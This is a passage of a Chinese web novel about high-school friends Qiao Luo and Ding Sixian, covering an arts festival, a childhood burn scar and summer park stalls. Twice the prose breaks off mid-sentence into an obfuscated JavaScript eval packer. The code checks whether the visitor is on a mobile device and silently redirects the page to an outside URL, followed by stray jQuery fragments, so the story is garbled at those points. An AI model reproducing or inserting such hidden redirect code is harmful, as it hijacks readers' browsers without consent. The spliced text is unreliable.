当时姜亦瑶壮起胆子,带着一份看起来很甜美的微笑,走到他身边,伸出手,“同学你好,我是高一九班的姜亦瑶,可以认识一下吗?我见过你在楼下打羽毛球,感觉你好厉害!” 丁似霰对于她的到来很意外,也没有回握那只伸出来企图交际的手。 “……你好。”正在他思考怎么溜掉的时候,许志在他身后喊他,他便顺势说了一句,“我还有事,先走了,抱歉。” 那次简短的交集后,姜亦瑶再也没有过行动。 她是个很漂亮的女孩,非常权威的那种美丽,大概从小都是被夸着长大的吧,还没有哪个人拒绝她的“好友申请”,当然,她也很少主动和别人发起申请。 丁似霰是第一个。 姜亦瑶这瞬间似乎想通了,当初丁似霰在寻找什么。 她踩着高跟鞋,提着裙摆走过来,生拉硬拽把乔洛领去了试衣间。 姜亦瑶说她已经选好了,就要这套香槟色的方领泡泡袖长裙。 乔洛看着店里同样淡色系的裙子一下犯了愁——怎么都是抹胸或者一字肩的? “我能不能穿黑色的啊,让刘熙换套浅色西服。” “不能,”姜亦瑶拿起一件淡粉色的一字肩长裙,“这件多好看啊,你快试一试,我真的感觉很适合你!” 盛情难却,乔洛只好换上了姜亦瑶选的这件裙子。 姜亦瑶的眼光真的很独到,这件裙子穿在乔洛身上非常贴身。 乔洛的肩颈很好看,礼服把这里大大方方露了出来。一字肩的设计让她抬手有些困难,但想来艺术节的晚会也用不到乔洛做什么抬手的运动。 裙摆是三层的,一层内衬,一层在尾部点缀了粉紫色的花瓣,最外面一层是白纱。 乔洛照着镜子的时候就有些……不太好意思走出去。 “行,就这个吧。”她在试衣间就脱下了裙子,换回自己的短袖长裤。 “不去给丁似霰看看?”姜亦瑶的语气听起来充满了期待。 “晚,晚会能看到。” 乔洛对着镜子,挠了挠自己左侧锁骨下方那个圆圆的疤,到时候是不是得擦点东西遮一下。 “哈哈哈,好!”姜亦瑶也脱下了身上的礼服,换上了她那条在乔洛看来略有些短的连衣裙。 确实漂亮,姜亦瑶比乔洛高一点,身材匀称,不算太白净但看起来很健康,或许也就是因为这点,刚刚在等待她试衣服的时候乔洛就算有些不耐烦也没打算撂挑子走人,甚至还会每一套都夸一句好看。 贪财好色,沉鱼落雁,乔洛至少能做到好色。 怎么不算达成了四分之一人生理想呢? 丁似霰还是蛮期待,看一看乔洛穿礼服什么样的。 没想到从试衣间来出来的人依旧是她那套又肥又凉快的装扮。 “没有合适的吗?”他问道。 “试好了。” “这么小气,都不给我看看?” 乔洛没回他,只摆出了一副无所谓的表情,好像在说:就不给你看,能拿我怎样? 还是姜亦瑶搭了话,“放心,我给乔洛选的,肯定漂亮。” 丁似霰一直感觉这女孩眼熟,从第一次看他们排练就有这种感觉,但迟迟想不起来在何处见过,哪怕已经知道了她叫什么,也还是没有印象。 “我是不是在哪见过你?”好像偶像剧里的搭讪话语,但从丁似霰嘴里说出来,只会让姜亦瑶感觉气到无语。 他不止当初没怎么理她,竟然还一点都不记得。 “高一二班,姜亦瑶,”她这次没有伸出手,同样的事情,不能被拒绝两次,“以前是九班的。” “啊!”往事似乎突然闪回,丁似霰找到了那个他遗忘的片段,但当时他就是想找一找乔洛有没有在社团招新的范围内,正好扫视到了广播站。 “你好你好!”他伸手把西瓜汁递给乔洛,似乎是想让乔洛自己给姜亦瑶。 乔洛不解,就这么点距离,他走两步递过来不就好了,非要加一个中转站? 但洛洛也接了过去,然后送给姜亦瑶,“送清凉,不好喝就怪他买的有问题!” 她还顺便甩了个锅。 27. 自己人 后来是丁似霰骑着车把乔洛送回家的。 乔洛坐在后座上的第一感觉就是…… “丁似霰你骑得稳不稳,不能摔死我吧?” “放心,小丁快跑为您保驾护航,如有不满欢迎投诉。”丁似霰给乔洛扣上了头盔。 “投诉电话呢?”乔洛坐稳后,小心翼翼揪着丁似霰后腰的衣服。 “那不能说,你真投诉我怎么办?” “黑车!” “走咯,黑车你也不能跳下去啦!” 电动车三四十迈的速度带起来的风,似乎在一定程度上吹走了夏日的燥热。 乔洛回到家的时候刚好把橙汁喝光,她跳下电动车,打开饮料盖子,嘎嘣嘎嘣嚼着冰块。 丁似霰感觉这声音听得他牙根疼,洛洛真是一口好牙。 其实期末考试之后加的假期补课,注定人心涣散,学生们的注意力多数都集中在了艺术节上。 当然还有翘首期盼期末考试的成绩早些落地,是生是死尽快有个结果,悬而未落的感觉可不是太美妙。 至于上课?六科课程每天一科一节,提前讲一讲高二的新课,其余时间都是自习。 自习约等于排练时间,这几天里乔洛已经把稿子练得滚瓜烂熟,但是排练教室里面比较空旷,更凉爽一些。只要杨可期不在教室里,她乐不得每天跑出来。 期末的考试成绩是星期三公布的,除了许志,剩下那三人依旧稳定在四十到六十名的区域。 许志考进了前八十。 除了这学期的第一次月考,许志都考进了前八十。这意味着按照规定,他可以转入尖子班。 高一下学期结束和高二上学期结束有两次转进尖子班的机会,但是四五班都是只进不出。转进的条件就是连续三次及以上考进前八十。 许志犹豫过,谁会不向往更好的地方呢? 但他最终选择了留在七班。 转入四五班,他也很难考到更好的分数,而这两个尖子班上课的节奏会更快,可能并不会有什么好下场。 老李头虽然啰嗦了一点,但确实是一个尽职尽责的好老师,如今也把他当成七班的“国宝”看待。 他在鸡头和凤尾之间,选择了鸡头。 “敬,许大鸡头!” 周五晚饭时间,四个人很难得的忙里偷闲,在排练教室外面的走廊里举着冰冻矿泉水,庆祝许志做出了决定。 那时许志还穿着周朴园的长衫。 “就不能换个称呼吗,这四个字组在一起太奇怪了!”许志对于乔洛送他的新称呼看起来不是很满意。 “那给你起个洋名,大鸡头,点,许。”丁似霰道。 杨可期加了一句,“或者来个日本名,叫许大脑袋瓜子。” “你们再喊下去,我就要去演《乡村爱情》了。”许志突然感觉还是乔洛起的名字善良一点。 周六下午是整个艺术节第一次也是唯一一次总排练,但介于租礼服是按照天数算钱的,这天乔洛和姜亦瑶依旧穿着校服。 学校征集三个有拍摄能力的学生,专门在台下拍照,留着年底做年度总结记录。 正式到,这三个人还会有工作牌。 当然,丁似霰报名了,于是他光明正大的,脖子上挂着工作牌和学校的相机在舞台下乐滋滋看完了整场排练。 终于,到艺术节当天了。 丁似霰还是很尽职尽责的,他没有一直在乔洛身边转悠,而是在舞台搭建的时候拍了不少负责文娱老师们在现场工作的照片,以及后台所有的工作人员,照片里都有他们的身影。 对于这点,王主任十分满意,并且还和大校长夸起丁似霰。 乔洛提着裙子向他走来时,是下午三点左右。 一天之中阳光最毒辣的时候刚刚过去一个小时。 那裙子很漂亮,好似把花束拥在周身。 她像一只花间的精灵,瘸腿的精灵。 乔洛不太能踩稳这双租来的高跟鞋,走得小心翼翼,七扭八歪。 丁似霰忙跑过去,扶着她的胳膊。 “真服了,一会我就把旅游鞋换上,反正这么长的裙子也看不出来我穿的什么鞋。” 乔洛走得虽然乱七八糟,但速度并不慢,这让丁似霰有点害怕,“慢,慢点,你别崴脚。” “啊!不行,我就不信我今天驯服不了这双高跟鞋!”乔洛还是个不服输的,很快就推翻了自己刚刚的退堂鼓想法,努力地踩着高跟鞋维持平衡。 “还有三个小时开场,你要开启暴走模式?” “不用,三十分钟足够,我现在已经比刚才走得稳多了。” 丁似霰笑呵呵看着乔洛,在一旁轻轻托着她的胳膊,以防小姑娘什么时候脚踝一歪把自己摔到。 他就站在乔洛的左侧,她锁骨下那个圆圆的疤很明显,让人难以忽视。 “你怎么这种地方还有疤?”丁似霰问道。 乔洛回答得很迅速,“命苦啊,小时候被我亲奶奶虐待了。” “啊?”虐待?这太让人震惊了,丁似霰一直以来见过的人里面,或许有和家人不太亲近的,但却从未见过真的被家人虐待的。 “小时候,我妈上班了,我爸也不在家,当时家里只有我和她,我就在炕上躺着,这老太太坐我旁边抽烟,反手就把我当烟灰缸。 多亏没把烟头戳我脑门上,要不然这次艺术节我直接演二郎神。” 丁似霰听了后,迟迟没有说话,表情有些复杂。 而且乔洛似乎并没有很在乎,反倒对于自己驯服高跟鞋稍有进展这件事情更加有兴趣。 “你别扶我,我再自己走两步试试。” “啊,好。” 丁似霰放下手,继续跟在乔洛身后。 她小心翼翼提着裙子,沿着广场上的红色直线地砖一步一步慢慢向前走,看起来倒是很优雅。 “快,夸我!这么多步我一下没……啊!”乔洛对于自己的成就有些得意忘形,竟然转过头去和丁似霰说话。 然后就是右脚踝微微一偏,直接炸着膀维持平衡。 丁似霰连忙从身后扶住她的肩膀。 “我去,你手怎么这么热?”乔洛站稳后第一句话就是在感叹。她肩膀如今是裸露着的,被丁似霰的手覆上的一瞬间就感觉,这哥们是攥了团火吗? “天热吧,而且男生似乎多数手都会更热一些。” “哦,”乔洛企图挽尊,“意外,刚才绝对是意外,我不回头看你肯定不能崴脚。” “好,你最厉害了,高跟鞋驯服计划初步胜利,”丁似霰又走在了乔洛身边,“那小的就不走在你后面了,免得耽误我们的美女主持人走路。” “美女?我还没化妆呢就是美女啦?”乔洛一直感觉在这种天气里,化过妆后整张脸更加油腻腻的,所以她在等待开场之前随便铺点什么粉就好了。 “当然,洛洛一直都很漂亮。我还没见过你化妆,说不定会是另一种感觉?” “嘴真甜,那一会化完给你看看,能不能跟美杜莎比一比谁更美。” “为什么是美杜莎,一般这个时候不是会说城北徐公吗?” “美杜莎勾人,物理意义上的,”乔洛笑得很开心,“而且徐公不行,他没有技能。美杜莎多牛,谁惹到我了我直接瞪他眼睛把他变石头,然后凿碎了扔给乌鸦。” “然后让乌鸦叼石头填满后山的湖?” “那得把乌鸦累死。” 乔洛总是会有一些延展性非常广阔的思维,莫名其妙又似乎充满逻辑,通常情况下除了杨可期和云锦书很少有人能顺着她说下去。 不过,丁似霰可以,许志偶尔也可以。大概这称之为……病情相投。 乔洛的“病友”似乎还有些关注她那个圆圆的烟头烫伤疤。 丁似霰的眼睛里透露出来的情感,比起好奇更像是心疼,“疼吗?” “啥?”乔洛一下子没有从乌鸦叼石头的联想里跳出来,反应了两秒才意识到丁似霰在问这个小圆印。 她伸手在上面搓了一下,“那还是我三岁多点的事情,早就不知道了。可能当时疼吧,我后来就只有印象,烟雾缭绕里有个老太太把手伸到背后,拿着个烟头戳我。她都没回头,也不是特意烫的,就是没上心,不在乎我而已。” 乔洛已经基本可以踩着高跟鞋稳稳地走路了,她脚步略微欢快了些,连带着说话的语气也有了点打趣的感觉,“还好我命大哦,睡觉的时候没把头放在老太婆右手正后面,要不然你今天就不是摄影师了。” 乔洛丝滑的转过身,用手指着丁似霰,“你是哮天犬!” 丁似霰笑着把脖子上挂着的工作牌塞到乔洛手里,“文明遛狗,二郎神记得栓绳。” 乔洛轻轻拽着工作牌,发出了一声,“驾!” “嗯?我变成啸天马了?” “你是百变小丁~” 她向前继续走了几步后,停了下来,放下手中的工作牌。 乔洛转过身,微微抬起头,看着丁似霰,“我好像没有和你说过我家里的事。” “嗯…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我对交朋友不感兴趣,对于男的,更是有一层先天的抵触和恶意。坦白来讲你最开始挺莫名其妙的,但我并不讨厌,或许真的要多亏你这幅好皮囊。 我也确实有很久,没太和同龄的男生相处了。不过我也说不清从什么时候起,我还是挺喜欢成天和你混在一起的感觉。” 乔洛的最后一句话,是和试音的音响一起传到丁似霰耳朵里的。 “所以,丁似霰同学,你已经正式被我划进自己人的领地范围了。” 夏日的艳阳下,女孩笑意盈盈仰着头,对他说,把他划进自己人的领地。 乔洛的声音混在震天响的音乐中,却格外清晰。 这时的背景乐好似是为了庆贺少年青春中的一场盛大又绚烂的开幕。 丁似霰行了一个王子礼,弯腰向乔洛伸出手,“荣幸至极。” 乔洛后来是小碎步走去的化妆间,她确实做到了半个小时驯服高跟鞋。 化妆间里,乔洛坐在椅子上听天由命。 她不会化妆,所以整张脸上的妆容,都是拼接的。 乔洛自己抹了层粉底,姜亦瑶给她画了修容和眼影,杨可期哆哆嗦嗦地勉强给乔洛画上了两条尽量对称的眼线和眉毛。 然后再蹭一根杨可期的口红,这个草率的妆容就结束了。 最后,乔洛自己把头发变成了一个侧麻花辫,仅用了一条发带做装饰。 好巧,发带和裙子还蛮搭的。 丁似霰被叫去给校领导合照,一时间抽不开身。 他是和同学们一起,在开幕时才看到乔洛的。 毕竟是摄影师,丁似霰在舞台下很中心的位置,他在乔洛走上台后,便很难再将目光移向别处。 虽然说这临时抱佛脚的妆容没那么出彩,但乔洛本身,就已经足够让丁似霰挪不开眼了。 十四岁的乔洛,站在新材高中第十三届艺术节的舞台上,从容地说出记忆中的每一段文字。 台下是比曾经的二年二班多上几十倍的观众。 亦是比那年多上不知道多少倍的赞赏和掌声。 原来啊,站在台上很简单。 只是这段路,她走了好久好久。 艺术节从太阳将落,开到了明月高挂。每一个节目都很精彩,唱歌跳舞演舞台剧,学生们各显神通。 随着四个主持人齐声说的那句“新材高中第十三届文艺汇演,到此结束”,艺术节,落幕了。 不知道丁似霰什么时候搞了束很漂亮的无尽夏。 他满脸笑容,抱着花站在台下等着乔洛。 “恭喜洛洛第一次当主持人,圆满成功!” 花开无尽夏,来日亦有期。 2006级学生的高一生活,就此画上了圆满的句号。 28. 产业链 艺术节结束的第二天,丁似霰拿着U盘,从相机里导出了他假公济私照的大量照片。 其中半数都是乔洛,剩下便是杨可期和许志的舞台照。 除去一些正常角度的美照,还有一张是乔洛板板正正站累了,在后台栽进转椅里面仰头望天。 乔洛说要告他侵犯自己的肖像权。 整个暑假有将近一个月的时间,丁似霰和许志闲来无事,去城西公园做起了小生意。 丁似霰依旧是给人拍照,许志开着家里带斗三驴蹦子运来了自己家地里种的不少西瓜,在公园里摆摊卖现切西瓜和西瓜汁。 乔洛是个很懒的,而且她讨厌热的天气——哪怕新柳那时夏天最高也就三十二三度。 每一个暑假,她基本都是在家里躺尸。 凉席会夹肉,她也不太喜欢躺,所以她一般都是把地板擦干净,然后铺上一小条薄被子,直接躺在上面摆大字。 杨可期偶尔会在乔洛家,躺在她旁边,两个人在客厅头对着头,躺尸。 一般来讲,一个暑假会就这样躺过去。 当然,如果杨可期不来找乔洛的话,她大概率是会在下午四点左右,顶着略有些收敛的阳光,走去姥姥家。再在晚上八点多,和云锦书踏着月光骑着电驴回家。 丁似霰只有晚上的时候会给乔洛发消息——毕竟白天在公园挣钱才是正经事。 也没什么特殊的,还是像寒假一样随便什么新鲜事都能聊两句。 但他每天都会说自己的营业额。 乔洛合理怀疑,这小子把和她的聊天记录当成记账本。 放假一个星期后,乔洛和杨可期去奉州市里逛了一圈街。 当然,是云锦书和杨若竹携带她们去的,两个家长感觉她们在家过于无所事事,硬拖着她们出门逛街。刚好杨若竹新买了汽车,直接一脚油门踩到了奉州的商业街。 乔洛感觉自己终其一生可能都不会理解,为什么女人会喜欢逛街。 走过一家又一家的店铺,试了不知道多少次衣服,穿上又脱下,在镜子前转了一圈又一圈。 乔洛这一年似乎是发育了,如今看来更像个大姑娘,当然,之前穿礼服的时候其实乔洛自己就意识到了。 她现在的个子虽然不高,但确实也可以算是中人之姿,再加上比例不错,皮肤还比较白,试衣服的时候周围一圈人在给她拍彩虹屁。 不过乔洛把这些夸奖归类为情人眼里出西施,和对销售额的极度渴望。 在乔洛眼里,女人们手里拎着的购物袋似乎还没有中午吃的那碗面皮有吸引力。 云锦书给乔洛新买了一条连衣裙,三件短袖以及两条牛仔裤。 连衣裙是因为杨可期非吵着要乔洛陪她穿同款。而且标签一摘就直接穿在了身上没有脱下去。 那裙子的衣领可以当做方领也可以拉下来变成一字肩,长度堪堪只到膝盖,把女孩的腿衬得更加修长。 杨可期给乔洛调成一字肩后,乔洛没过几秒就忘记这个事情,稍稍一抬手,就变成了方领。 裙子主体是白色的,上面点缀了几朵玫瑰花,只不过乔洛的是红色的,杨可期的是水绿色。 “你确定……咱俩这么红配绿,好看?”乔洛穿上裙子后,和杨可期一起站在镜子前,发出了些许疑问。 “红配绿赛狗屁,多好看,说不定还能以为咱俩是亲姐俩。” 云锦书有些认可杨可期这个说法,“你俩可能真的在一起玩时间长了,感觉面相越来越像。” 两个女孩立刻对着镜子摆出了一副同款贱笑,类似于后来微信表情里的[奸笑]。 杨若竹和云锦书看了后不禁开始互相推辞。 “这俩丫头都给你吧,一起养两个这样的可挺够呛!” 奉州最吸引乔洛的,除了那家巴西烤肉以外,大概就要数东滨区的愉越生活馆三楼。 三楼是文化用品区域,那里有很多在新柳见不到的东西,比如新奇的笔盒、调过色的罕见颜料,亦或是非常漂亮的大张书皮等等。 哦,上一次来这里还是初一的时候,乔洛和杨可期一人弄了一个发箍,上面有旋转小飞桨,走到室外的时候如果正好外面有风,小飞桨就开始嗡嗡转,有一种马上就要起飞的感觉。 这次,她看到了新的玩意——人体彩绘膏。 这东西似乎上次在世博园玩的时候见过,不少小孩排着队要画。 乔洛拿着试用的笔沾了点颜料,按照教程随手在胳膊上画了一只侧飞的蝴蝶。 嚯,好简单。 “嗯?给我试试?”杨可期见了,接过笔,也想要试一试。 失败。 果然这东西也不是谁都能直接上手就画好的。 乔洛拿起货架上全新的一盒颜料,问杨可期,“搞一盒,咱俩去公园忽悠钱怎么样?” “呦,不会是城西公园吧?” “那里人多呀!” “确实,那里不止游客多,还有照相的和卖西瓜的呢是吧?”杨可期很认可这个提议,“正好从我家拿点驱虫的药膏,公园里花多草多天气热的,驱虫药膏也应该比较有市场。” 杨可期又把画笔塞回乔洛手里,“你快点给我也画一个,我要你这个同款的!” “一会给你用别的颜色画吧,这个不好看。”乔洛其实不太喜欢这个试用的颜色,灰黑红三种颜色画出来的更像是曾经在《十万个为什么》里面见过的有毒的大蝴蝶。 杨可期看了看排着长队等着付款的人们,还是不太想等待,“不用,就这个,付钱排队还得排好久。” 经商的头脑或许是真的有遗传效果。 乔洛后来拉着杨可期去到了儿童乐园外围,在椅子上打开彩绘膏,照着附带的教程在杨可期的胳膊和脸上画着各式各样的图案。 很快就有不少小孩子被吸引了过来。 乔洛说她不收费,纯纯是练手,画好之后要留一下照片。 但是——这东西过敏的话她不负责。 洛洛姐姐的彩绘事业在愉越生活馆五楼的儿童乐园外开展的如火如荼。 云锦书和杨若竹负责照相,杨可期在一旁当夸夸团的气氛组,把小孩子们哄得喜笑颜开,而乔洛就是画了一个又一个小图案。 短短一个小时,她就集齐了这本教程上所有样式的现实照片,还有几个孩子的图案是她随手创作的。 这么看来,想赚回彩绘膏的成本钱,易如反掌,毕竟今天被小孩们投喂的糖果和小零嘴都堆一小兜了。 乔洛再一次见识到了杨可期到底有多会夸人,如果不是她在一旁一直哄孩子的话,或许还真的不会这么成功。 回到新柳后,乔洛做的第一件事就是把她的作品照片印成一张面积为一平方米左右的广告。 然后掏出手机回顾一下大摄影师天天都在哪里给人照相……丁似霰和她说过,但她确实记不太清了,还好短信都没有删。 第二天下午四点。 乔洛和杨可期看到了对方的模样后,会心一笑。 长袖长裤遮阳帽,这太阳真的一点都不想晒。 城西公园里真的有很多人,杨若竹开车把乔洛和杨可期以及两个人的“作案工具”一起运到后,就把她们请下车,然后离开了。 石塔和游乐设施离得不远,两个女孩慢悠悠拽着小推车走向昨天在地图上物色好的那个位置——游乐园门口的那棵歪脖柳树。 那里一定有阴凉,大不了她们两个可以随着太阳一起,绕柳树转圈。 许志那时正在兢兢业业地切西瓜,乐呵呵递出一盒之后正巧看到迎面走来的女孩们。 遮阳帽大大的帽檐其实遮住了她们俩整张脸,但是那声音太熟悉了。 “老板,给你画几个图案换一盒西瓜行不行?”乔洛把帽檐略微抬起来了一点。 许志很是热情,“好啊,快过来,想吃多少咱都有!” “那我用草本花露水跟你换西瓜汁咋样?”杨可期问道。 “那我更赚大发了,这兑换率都快一比二十了吧?” 乔洛在许志脸上画了个西瓜的图案,也算是应景。 生意上门的速度比乔洛想象中要快。可能是她要价也比较低,孩子们很快就排成了一条长队,她甚至还没来得及把准备的广告牌摆起来。 或许是乔洛一边画画一边喝西瓜汁,某种意义上来讲还给许志的小摊子增加了一些吸引力,他剩下的五个西瓜已经都榨成汁,卖得只剩两杯了——一杯留给他自己,一杯留给大摄影师。 六点过了一些,天微微有点暗下来了。 彩绘摊和草本驱蚊摊都笼罩着淡淡的艾草味。 这里相比于其他地方,明显看出来蚊虫少了许多。事实摆在眼前,杨可期的驱蚊液也开张了。 许志把摊子收好,塞回三轮车上,然后搬着他的小马扎坐在乔洛和杨可期中间,小口喝着西瓜汁。 “出奇啊,你都在这一下午了,丁似霰还没过来?” “我没告诉他,他过来干什么?关照你的生意?”乔洛刚刚给一个小女孩画好猫咪头,这姑娘脸蛋看起来水嫩嫩的,她没忍住诱惑,轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908920|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻捏了两下,“宝贝儿真可爱!” 小姑娘一下就咧开了嘴,甜甜地喊了句“谢谢姐姐”。 “我去,你没告诉他!我还以为你说过了,我也没和他说。”许志下意识以为,乔洛来公园应该和丁似霰说过,没想到大摄影师现在还一无所知。 ——速来,乔洛在我这边摆摊画画呢! 许志马上用手机给丁似霰通风报信。 大摄影师忙着照相,并没有看手机。 丁似霰看到短信,又赶过来,已经是一个小时之后的事情了。三个人的摊位只剩下乔洛一个,驱蚊液和西瓜都光荣售罄了。 乔洛画好了一只小恐龙,抬头就看到走过来的丁似霰了。 那时天已经有点黑了,乔洛又轻微有一些散光,在夜晚更加看不清东西。 远远的,丁似霰走过来,在乔洛眼里简直就是黑乎乎的一团,但她能确定这一长团就是丁似霰。 “嗨!小非洲孩!”她语气欢快地和丁似霰打招呼。 “什么?”来人似乎不太能理解这个新称呼。 他走近了些,乔洛才看到,其实也没有晒得太黑。 “姐姐说你是非洲小孩!”站在一旁看热闹的小孩子奶声奶气重复着乔洛的话。 “有这么严重?”丁似霰借着灯光和乔洛的镜子,对镜欣赏了一下,“没有吧,我感觉我还是要比许志白一点的。” “怎么还有我的事?你禁止人身攻击我,小心我把你这杯也喝了。”许志虽然这样说,但还是把西瓜汁递给了丁似霰。 乔洛说道,“我乐意,怎么给你起的新外号你不喜欢?” “喜欢喜欢,你叫我大老黑我都不敢有意见!” 大老黑,听起来倒像和小臭白是一对。 “再画五个我今天就要收摊了哦!后面的就不要排队啦,明天再来!”乔洛坐直了一些,用她纯天然大喇叭高喊了一声。 “嗯?你不想继续赚了?”杨可期刚刚还以为乔洛画上瘾了,一个接一个孩子还怪有成就感的。没想到她这就要收摊了。 “现在适合去小吃街逛街,不适合挣钱了。” 乔洛想到了小吃街的香汤豆腐和蒜蓉粉丝,嘶,太令人向往了。 第五个孩子后面,还站着一个……“小非洲孩”。 他没有理会乔洛不解的眼神,直接坐在椅子上仰起头,“姐姐我也要!” “你干嘛?一会回家就洗脸了,现在还要画?”乔洛已经被丁似霰叫姐姐叫到免疫,如今也随他去了。 丁似霰微微撅了下嘴,看着杨可期和许志脸上的小图案,似乎有一些……委屈? “他俩都有,你……不能区别对待。” “好吧,那你要什么样的?”乔洛妥协地很迅速。 “都可以。” 给小朋友准备的椅子比较矮,高度基本上是乔洛正好坐着就可以画到脸部的。 但丁似霰太高了,他坐在椅子上,就算弯着些腰,乔洛也不太好下手。 她只好拿着画笔刷了两下颜料,然后站起身,捧着丁似霰的脸,下笔! 乔洛真的饿了,她画得飞快,在丁似霰左侧脸上留下了一只炸毛的小黑狗。 给小黑狗点眼睛的时候,刚刚没有排上号的小朋友有些幽怨地问她,“姐姐,为什么你还给这个哥哥画,不给我们画了?” 乔洛想都没想脱口而出,“因为这个哥哥心眼太小,我不给他画他会哭的,可能明天还会不理我。” 困惑迷茫又不可思议的神情同时出现在了“小非洲孩”的眼中。 乔洛又加了一句,“而且他是vip中p。” “什么是vip中p?”显然小孩子还不太能理解这个概念。 “就是……”乔洛已经画好了,她捏了捏丁似霰的脸,把他脸上并不太多的肉挤在一起,然后促使嘴巴嘟了起来,样子有些许滑稽,“至尊大怪兽。” 至尊大怪兽以这幅样子扭过头,看着小孩。 哪里有眼神这么清澈的大怪兽? 后来几天又有不少“大孩子”也来找乔洛画图案,大腿上,胳膊上甚至锁骨上,都可以画。 她画了绽放的烟花,游动的锦鲤,盛开的玫瑰…… 画好了画去找丁似霰照相,玩累了在许志那里买点西瓜,夜幕降临再去杨可期那里弄点驱蚊花露水,四个人形成了一个小型的产业链。 不过这四个人的恩格尔系数也是很高的,收了摊就近去小吃街扫荡,赚这点钱至少一半全吃到了嘴里。 还真是一个充实的暑假。 29. 好吧 开学一周,高一学生军训结束后,社团就开始招新了,乔洛刚开学就在整理留部的高二学生档案,然后和上一届站长对接工作。后来又忙着面试,多亏还有姜亦瑶当副部,有个熟人一起干活,还是要更舒服些。 广播站面试有三天时间,而后的两天定结果。 丁似霰做了羽毛球社团的副部,这段时间也在忙,倒确实和乔洛交流少了很多。 羽毛球社团虽然审核也不是很严,但要分出来纯纯是来找球搭子的还是想参加比赛的。而且参加比赛的那部分面试比较费面试官,他们要来回打几球,看看基础怎么样。 丁似霰,就是面试官之一。 广播站不一样,广播站养几个闲人还是无所谓的,只要面试的时候看起来谈吐和思维逻辑没有明显问题,基本都会录入,只是后期活动安排谁有兴趣谁就上而已。 毕竟,进站里当咸鱼也没有福利待遇。 最后一天面试的人不太多,整个面试环节短短十几分钟就结束了。 乔洛看了一眼墙上的挂钟,距离上课还早得很。 广播站面试就在教学楼里找了个空教室,而羽毛球社团在操场旁的体育馆里。 她从教学楼后门出去,在墙头上那家买了三块钱的烤肠和两瓶冰红茶。 因为三块钱五根,比较便宜。 至于墙头,这只能说赚钱的动力让人无所不能。这学期开始,学校后面的墙头上就有一个商贩,准时准点爬上来,然后用小篮子上下运输吃的和钱。 然后她跑去了羽毛球馆。 乔洛没有去和丁似霰打招呼,她在球馆边上的阶梯看台上找了一个能看到热闹的角落坐了下来,慢慢嚼着烤肠。 嘶,没撒辣椒末的还是多少差了点味道,刚才忘记和老板说了。 高一还真有个好漂亮的女孩,刚刚军训过后虽然有点黑,但也能看出来底子不错,个子也高挑。 但这姑娘呆乎乎在旁边站着是干什么呢?她又没拿球拍。 乔洛看了几眼之后似乎就在发呆了,她都没意识到丁似霰这小子什么时候出现在她身边的。 丁似霰一个响指才把她的意识拉了回来,还把她吓了一跳,然后被还没有咽下去的烤肠呛到了。 “咳咳……” 丁似霰连忙拧开饮料,递给乔洛。 “你怎么来我这了?”乔洛缓过来后,问道,“不面试了?” “那不是还有一个副部吗,我都打这么久了,偷个懒没事。” “哦。”乔洛把剩下的烤肠递给他,“后院墙头上那个,味道还不错。” 丁似霰抽出一根咬了一大口,“嗯,确实不错,但你怎么没加辣椒末?” “……忘了。” 好像真的是认识他之后,不知不觉地乔洛吃东西都清淡了不少,单独的份饭除外。 “刚才发呆想什么呢?” “不知道啊,就是在放空。” “那你今天怎么来这里了?你也翘班了?” “想来一睹丁大副部的矫健身手,”乔洛向后一倒,闭上眼靠在了台阶上,“广播站下一届算是后继有人咯,有好几个声音很不错的,还有两个自己提出来愿意写稿子,面试的人虽然不算太多,但感觉干活的欲望都挺强烈。” “那我这里可算得上凄惨,在这抡了三天拍,一共就看见六个还算可以的,”丁似霰说着,甩了甩胳膊,“我忽然感觉今年寒假和一高中的比赛要一败涂地了。” “回去还得整理面试结果,然后排值班表,”乔洛的声音听起来多少有点生无可恋,“马上就运动会了,我都不敢想收各个班级的入场词然后还要安排人读,得多烦。” 丁似霰靠在了乔洛身边,“运动会之后一个月左右就是校内的羽毛球选拔赛,我好像还得负责初赛的一半匹配,希望报名的人少点。” “我到底为什么要留着当官?” “我也想知道。” 两声哀叹齐齐发出:“当官真难啊……” 乔洛伸出拳头,不轻不重地怼在丁似霰肩膀上,“还不是自己找的?” 丁似霰转过头,看着乔洛,“要不要试试跟我打混双?” “不要。” “拒绝的这么无情?” “我那个技术,你能耐下心来教我打,我都不好意思让别人看我摸到球拍。” “好吧,那你来当观众呗?” 乔洛打了一个大大的哈欠,“再说,那都是将近两个月以后的事情了,当务之急是先把手里面的活干明白了。” “好吧。” 乔洛睁开靠近丁似霰的一只眼睛,微微侧过头。 他那语气中明明带着大大的失落,怎么也不知道捍卫一下自己的渴求。 乔洛也动了心思逗逗他,“好吧,是好还是不好呢?” 不知道从什么时候起,总是感觉逗丁似霰是一件很有趣的事情。 “呃……”他一时不知道该怎么回答。 “那,我答应你,只要不是什么我实在跑不开的事情在你打比赛的同时段发生,我就一定来当观众。” “好!”刚刚还一脸失落的悲伤小狗一下就明媚了起来。 果然,丁似霰的“好吧”等于不好。 羽毛球社团这届的部长是十五班的高天樾,那人的嗓门绝对不输乔洛,离这么远喊丁似霰,声音都有一种震天响的感觉。 “我过去看看哈!”丁似霰麻利地站起身。 “嗯,”乔洛点点头又迅速喊住了他,“诶,你别上蹿下跳的,刚吃了东西也不怕胃疼。” 他马上立正,用左手对着乔洛敬了一个礼,“Yes,Madam!” 过了不到两分钟,丁似霰又乐呵呵跑回乔洛身旁,“走吧,回教室,我下班了!” 果然,谁下班都会开心的,无论下的是什么班。 星期五下午,一个本该在风和日丽的天气里晒着太阳憧憬明天的放假生活的愉快下午,被突如其来的体测污染了。 新材高中的体育测试一向都是浑水摸鱼,但今天奉州教育局突然走访,使得这次体测格外正规。 